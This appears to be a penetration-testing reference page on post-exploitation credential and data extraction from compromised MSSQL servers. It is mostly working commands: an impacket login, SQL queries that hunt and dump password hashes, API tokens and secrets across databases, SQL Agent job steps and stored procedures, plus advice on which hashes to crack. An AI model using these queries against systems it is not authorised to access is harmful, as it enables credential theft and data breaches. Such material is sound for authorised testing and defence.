# MSSQL Database Pillaging

> Techniques for extracting credentials, data, and secrets from compromised MSSQL instances, including linked servers, agent jobs, and stored procedures.

- **URL:** https://hackindex.io/services/mssql/post-exploitation/mssql-database-pillaging
- **Path:** MSSQL > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/mssql/post-exploitation.md)
- **Published:** 2026-05-15
- **Updated:** 2026-05-15

Once access is established through SQL authentication or via xp_cmdshell, the database itself is the primary loot target. Application databases contain credentials, API keys, PII, session tokens, and business-sensitive data. This page covers efficient enumeration of database structure and systematic extraction of high-value content.

High-value extraction targets in MSSQL application databases:

- User tables with password hashes and API tokens
- Configuration and settings tables with SMTP passwords and integration keys
- SQL Agent job steps with embedded credentials in command text
- Stored procedures containing hardcoded connection strings

## **Enumerate Databases**

List all databases on the instance. System databases (master, tempdb, model, msdb) rarely contain application data: focus on anything else:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
SELECT name, database_id, create_date FROM sys.databases ORDER BY database_id;
# name          database_id  create_date
# master        1            2003-04-08 09:13:36
# tempdb        2            2024-01-15 09:22:11
# model         3            2003-04-08 09:13:36
# msdb          4            2000-08-06 01:53:27
# AppDB         5            2022-03-14 11:04:52
# HRSystem      6            2021-09-01 08:33:17
```

AppDB and HRSystem are application databases worth enumerating.

Check which databases the current login can access:

```sql
SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;
```

## **Enumerate Tables**

Switch to the target database and list all tables:

```sql
USE AppDB;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' ORDER BY TABLE_NAME;
```

Look for tables with names suggesting credentials, tokens, or sensitive data:

```sql
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%user%'
   OR TABLE_NAME LIKE '%account%'
   OR TABLE_NAME LIKE '%login%'
   OR TABLE_NAME LIKE '%credential%'
   OR TABLE_NAME LIKE '%password%'
   OR TABLE_NAME LIKE '%token%'
   OR TABLE_NAME LIKE '%secret%'
   OR TABLE_NAME LIKE '%key%'
   OR TABLE_NAME LIKE '%api%';
```

## **Hunt Credential Columns**

Search across all tables in the current database for columns likely to hold credentials:

```sql
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%password%'
   OR COLUMN_NAME LIKE '%passwd%'
   OR COLUMN_NAME LIKE '%pwd%'
   OR COLUMN_NAME LIKE '%secret%'
   OR COLUMN_NAME LIKE '%token%'
   OR COLUMN_NAME LIKE '%api_key%'
   OR COLUMN_NAME LIKE '%hash%';
# TABLE_NAME   COLUMN_NAME      DATA_TYPE
# users        password_hash    varchar
# users        api_token        varchar
# settings     smtp_password    varchar
# integrations api_key          varchar
```

## **Dump Sensitive Tables**

Once interesting tables and columns are identified, read the data directly:

```sql
SELECT TOP 20 username, email, password_hash, api_token FROM users;
# username    email                  password_hash                               api_token
# admin       admin@corp.local       $2y$10$abc123...                            tok_live_abc123
# jsmith      j.smith@corp.local     $2y$10$def456...                            NULL
```

Bcrypt hashes are slow to crack. Look for weaker hash formats first: MD5, SHA1, or unsalted SHA256 are common in older applications. Check the hash length and format before deciding whether cracking is worth attempting.

For configuration or settings tables that may store integration credentials:

```sql
SELECT * FROM settings WHERE setting_key LIKE '%password%' OR setting_key LIKE '%secret%' OR setting_key LIKE '%key%';
```

## **Search All Databases**

Run the column search across all non-system databases at once using dynamic SQL:

```sql
DECLARE @sql NVARCHAR(MAX) = '';
SELECT @sql += 'USE [' + name + ']; ' +
    'SELECT ''' + name + ''' AS db, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS ' +
    'WHERE COLUMN_NAME LIKE ''%password%'' OR COLUMN_NAME LIKE ''%secret%'' OR COLUMN_NAME LIKE ''%token%''; '
FROM sys.databases
WHERE name NOT IN ('master','tempdb','model','msdb') AND HAS_DBACCESS(name) = 1;
EXEC sp_executesql @sql;
```

## **msdb: SQL Server Agent Job Loot**

The msdb system database contains SQL Server Agent job definitions. Jobs often include inline T-SQL, PowerShell, or OS commands with embedded credentials:

```sql
USE msdb;
SELECT j.name AS job_name, s.command FROM dbo.sysjobs j
JOIN dbo.sysjobsteps s ON j.job_id = s.job_id
ORDER BY j.name;
```

Look for connection strings, passwords passed as arguments, or hardcoded credentials in the command column.

## **Stored Procedures and Views**

Stored procedures and views sometimes contain embedded credentials or logic that reveals how the application stores and retrieves sensitive data:

```sql
USE AppDB;
SELECT ROUTINE_NAME, ROUTINE_TYPE FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_TYPE = 'PROCEDURE';
```

Read a specific procedure:

```sql
SELECT OBJECT_DEFINITION(OBJECT_ID('dbo.sp_authenticate'));
```

Or search procedure definitions for credential patterns:

```sql
SELECT name, OBJECT_DEFINITION(object_id) AS definition
FROM sys.objects
WHERE type = 'P'
  AND (OBJECT_DEFINITION(object_id) LIKE '%password%'
    OR OBJECT_DEFINITION(object_id) LIKE '%apikey%'
    OR OBJECT_DEFINITION(object_id) LIKE '%secret%');
```

## References

- [Microsoft: sys.databases](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-databases-transact-sql) - catalog view for database-level metadata
- [Microsoft: INFORMATION_SCHEMA](https://learn.microsoft.com/en-us/sql/relational-databases/system-information-schema-views/system-information-schema-views-transact-sql) - portable views for table and column enumeration
- [Microsoft: msdb SQL Agent](https://learn.microsoft.com/en-us/sql/ssms/agent/sql-server-agent) - agent job structure and sysjobsteps schema